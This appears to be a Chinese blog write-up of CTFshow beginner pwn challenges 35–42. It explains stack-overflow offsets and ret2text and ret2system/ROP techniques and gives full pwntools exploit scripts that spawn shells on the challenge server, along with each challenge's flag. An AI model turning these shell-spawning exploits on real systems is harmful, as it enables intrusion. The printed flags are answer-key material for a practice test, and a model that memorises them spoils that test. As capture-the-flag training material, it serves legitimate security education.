CTFSHOW-PWN入门-栈溢出(35-42)

5 篇文章 0 订阅

pwn35

QQ20240803-123726

看到ctfshow函数会在参数个数大于1的时候触发,因为argc的初始值为1,所以只要有输入就可以触发

QQ20240803-123819

ctfshow函数是一个可以利用栈溢出的strcpy函数,长度是104,那么只要输入大于104就可以实现栈溢出,输入flag

QQ20240803-124042

getshell,输出flag

QQ20240803-124138

flag:ctfshow{06a8170a-6005-408e-a9b1-a6f4405f1657}

pwn36

QQ20240803-124453

首先checksec,32位程序,只开启了部分RELRO保护,NX,canary和PIE保护均没有开启

QQ20240803-125158

gets函数的输入没有限制,gets函数存在栈溢出,使用cyclic计算溢出长度,溢出长度为44

QQ20240803-124624

QQ20240803-124641

QQ20240803-125457

发现后门函数get_flag,地址为0x8048586

QQ20240803-124702

EXP:

from pwn import *

p=remote('pwn.challenge.ctf.show',28270)
context(os = 'linux',arch = 'i386',log_level = 'debug')
payload=b'A'*44+p32(0x8048586)
p.sendline(payload)
p.interactive()

getshell

QQ20240803-125859

flag:ctfshow{df2b0d82-7558-4e00-b395-1bd5d7805e80}

pwn37

QQ20240803-125948

首先checksec,32位程序,NX保护开启,canary和PIE保护没有开启

QQ20240803-130537

ctfshow函数中的,v1大小为14,而read函数读取大小为50,所以read函数存在栈溢出,使用cyclic计算栈偏移量为22

QQ20240803-131034

QQ20240803-131044

QQ20240803-131607

发现后门函数backdoor,地址为0x8048521

QQ20240803-131104

QQ20240803-131125

EXP:

from pwn import *

p=remote('pwn.challenge.ctf.show',28277)
context(os = 'linux',arch = 'i386',log_level = 'debug')
payload=b'A'*22+p32(0x8048521)
p.sendline(payload)
p.interactive()

getshell

QQ20240803-131822

flag:ctfshow{ed20bbcf-f637-426a-b824-e73390157c6f}

pwn38

QQ20240803-132113

首先checksec,64位程序,开启了NX保护

QQ20240803-132229

ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18

QQ20240803-132000

QQ20240803-132000

QQ20240803-132449

发现后门函数backdoor,地址为0x400657

QQ20240803-132039

QQ20240803-132057

ret地址为0x400287,用于64位程序堆栈平衡

QQ20240803-133034

EXP:

from pwn import *

p=remote('pwn.challenge.ctf.show',28309)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
payload=b'A'*18+p64(0x400287)+p64(0x400657)
p.sendline(payload)
p.interactive()

getshell

QQ20240803-133144

flag:ctfshow{0f7017ba-411b-4334-92c2-9cdb412a05a1}

pwn39

QQ20240803-133259

首先checksec,32位程序,NX保护开启

QQ20241009-150732

ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为22

QQ20241009-150908

QQ20241009-150915

QQ20241009-151130

发现hint函数中有system函数,同时发现了bin/sh字符串,找到bin/sh字符串的地址为0x8048750

QQ20241009-151347

QQ20241009-152014

EXP:

from pwn import *

p=remote('pwn.challenge.ctf.show',28128)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
payload=b'A'*22+p32(system)+b'a'*4+p32(0x8048750)
p.sendline(payload)
p.interactive()

getshell

QQ20241009-152147

flag:ctfshow{99e30626-ea46-4a51-8b59-10a7e9d61f13}

pwn40

QQ20241009-154611

首先checksec,64位程序,NX保护开启
QQ20241009-152446

ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18

QQ20241009-152737

QQ20241009-152746

发现hint函数中有system函数,同时发现了bin/sh字符串,找到bin/sh字符串的地址为0x400808

QQ20241009-152843

QQ20241009-153108

EXP:

from pwn import *

p=remote('pwn.challenge.ctf.show',28168)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
rdi = 0x4007e3
ret = 0x4004fe
payload=b'A'*(0xA+8)+p64(rdi)+p64(0x400808)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()

getshell

QQ20241009-154507

flag:ctfshow{686d329f-5af4-4dd6-9335-666d775d66fd}

pwn41

QQ20241009-154642

首先checksec,32位程序,NX保护开启

QQ20241009-155059

ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为22

QQ20241009-154914

QQ20241009-154920

发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x80487BA

QQ20241009-154934

QQ20241009-154940

QQ20241009-155627

EXP:

from pwn import *

p=remote('pwn.challenge.ctf.show',28218)
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
payload=b'A'*(0x12+4)+p32(system)+p32(0)+p32(0x80487BA)
p.sendline(payload)
p.interactive()

getshell

QQ20241009-155950

flag:ctfshow{f8c9aeca-4106-40f7-bf9a-13aeeba8b8cc}

pwn42

QQ20241009-160606

首先checksec,64位程序,NX保护开启

QQ20241009-160153

ctfshow函数中的read函数存在栈溢出,cyclic计算栈偏移量为18

QQ20241009-160733

QQ20241009-160740

发现hint函数中存在system函数,useful函数存在sh,根据题目的提示得知或许sh可以替代bin/sh,找到sh的地址为0x400872

QQ20241009-160833

QQ20241009-160839

QQ20241009-160850

EXP:

from pwn import *

p=remote('pwn.challenge.ctf.show',28118)
context(os = 'linux',arch = 'amd64',log_level = 'debug')
elf = ELF('./pwn')
system = elf.sym['system']
rdi = 0x400843
ret = 0x40053e
payload=b'A'*(0xA+8)+p64(rdi)+p64(0x400872)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()

getshell

QQ20241009-161143

flag:ctfshow{3a5c7705-a6a6-4d89-aeaf-fc3902f747df}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值